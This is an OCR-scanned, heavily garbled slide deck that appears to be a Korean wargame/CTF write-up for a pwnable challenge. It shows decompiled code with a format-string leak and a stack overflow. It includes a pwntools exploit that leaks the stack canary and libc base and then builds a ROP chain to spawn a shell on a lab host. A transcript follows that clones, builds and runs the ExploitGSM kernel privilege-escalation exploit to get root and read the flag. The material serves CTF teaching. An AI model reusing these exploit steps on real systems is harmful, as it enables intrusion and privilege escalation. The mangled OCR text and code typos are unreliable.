Wait 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@z3rodae0l-virtual-machine:/root# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(Ixd),136(sambashare),1000(z3rodae0)

»
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Scenario based Wargame
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pwnable

ExploitGSM

7331
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Scenario based Wargame

ox =4 |melx|

}' A2 XIS A 2dE @ Ly 85 Ad ([«

ExploitGSM

Al(git, cmake, make, libcap-dev);
CHIPEYAZEZQIE 31

e/z3rodae0/chall/ C| =

pwnable

tack: Canary found NX: NX enabled PIE: PIE enabled

TR O e

ExploitGSM

7331
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ubuntu 22.04.04 x64
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WriteUp

Binary Analysis . ")
puts(" S ")
puts("/ W\ / N/ \\ [ N/ [/ ] ")s

~puts "[$$9SSS [/9999SS /999985 | /9959SS |95 ] $S[SS |

puts("SS\\__SS/SS | SS/SS[__SS|  S$S$[SS/SS \\/ \N\SSISS|/ N/ W/ \\/ \")

puts("SS  \\SS| S SS|  SS|  SSSSSSS | SSSSSS |95 [SS [/999S5SS [SSSSSSS [/SSSSSS /959988 [

puts(” $SSSSS |95 __SS9SSSSS | SS| __SS[ SS|[/ SSISSISS|SS SS|SS| SS[SS|[ SS[SS SS |
lsspg;tgs"sls\/\ﬁ_SS ISSN\__/ [SS] SS|  SS\\__/ |SS] SS[/SSSSSSS [SS[SS |SSSSSSSS/SS | SS[SS\\__$S

puts("SS SS/9S SS/SS| SS| S SS/SS| SSISS SS[SSSS(SS  [SS[ SS[SS SSUSS  [M)s
SS%L;?S;/S'?SSSS/ $S9SSS/ S/ SS/ $SSSSS/ S8/ SS/ SSSSSSS/ S5/ $S/ $SSSSSS/SS/ S/ $99998S |

puts(" [ \__$S | ok

puts(" SS S§/ ");

puts(" $55SSS/ ");

111 € R e ET ")

printf("What your name pilot? >");
read(0, buf, 0x30uLL);
printf("hello, ");

RSB H SR 0] =xYSHL|C}. 0] X[ S o|23M FILIE|Qt libc TAE & & L]},

d
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Binary Analysis

| void vanguard()
{
charvl|24];
|
L
(1) puts("You selected RSR vanguard class titan!");
{ printf("Please enter the hame of titan:");
puts('1. Titan select"); read(0, vl, 0x100); //scanf("%s", v1);
puts("2. Lunch Titan");
puts('3. exit"); check = 1;
printf(">"); }

scanf("%d", &idx);
idx 1=7274

)
check!=1
vanguard/);

puts("You already select titan!");

}
72745 Y } =AY =2 0|3 = ASLICH J2| 11 3 grr0llM = Stack BOF7L EX{EL|LCY.
O|= E°H RO SfA|H ElLILC}.



WriteUp

Exploit Code

pwn
p =remote("192.168.66.130", 7331)
libc = ELF("./libc.so.6")

def slog(name, addr):return success(": ".join([name, hex(addr)]))

p.sendlineafter(b"What your name pilot? > ", b"%17Sp, %255p")
leak = p.recvline().split(b", ")

cnry =int(leak([1], 16)

libc_base = int(leak|/2], 16) - 0x29d90

slog("libc leak", int(leak[2], 16))

slog("libc_base", libc_base)

slog("cnry leak", cnry)

binsh =libc_base + 0x1d8678
pop_rdi =libc_base + 0x2a3e5
system = libc_base + 0x50d70
ret = libc_base + 0x29139
slog("binsh", binsh)
slog("pop_rdi", pop_rdi)
slog("system", system)

pay = b"A"*24 + p64(cnry) + b"'B"*8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)

p.sendlineafter(b">", b"7274")
p.sendlineafter(b'Please enter the name of titan : ", pay)

p.interactive()



WriteUp

LPE... cat flag.txt

mini terminal

z3rdoae0@z3rdoae0:~$ python3 ex.py
[+] Opening connection t0 192.168.66.130 on port 7331: Done
[*] '/home/z3rodae0/2024_Semina_nulkamalka/libc.so0.6'

[*] Switching to interactive mode
cd /home/z3rodae0/chall
mkdir z3rodae0
cd z3rodae0
git clone https://github.com/YuriiCrimson/ExploitGSM.git
cd ExploitGSM
cd ExploitGSM_6_5
cmake.
NELG
.JEXploitGSM ubuntu
cat /home/z3rodae0/chall/flag.txt
SCA{SC6_Challeng3_z3rodae0}




